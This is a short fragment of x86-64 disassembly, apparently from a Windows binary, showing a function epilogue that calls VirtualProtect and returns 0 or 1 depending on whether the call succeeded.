add rax, rcx
mov rcx, rax
lea rax, [rbp - 0x48]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp - 0x2c], eax
cmp dword [rbp - 0x2c], 0
jne 0x1400022a2
mov eax, 0
jmp 0x1400022a9
mov eax, 1
jmp 0x1400022a9
add rsp, 0x90
pop rbp
ret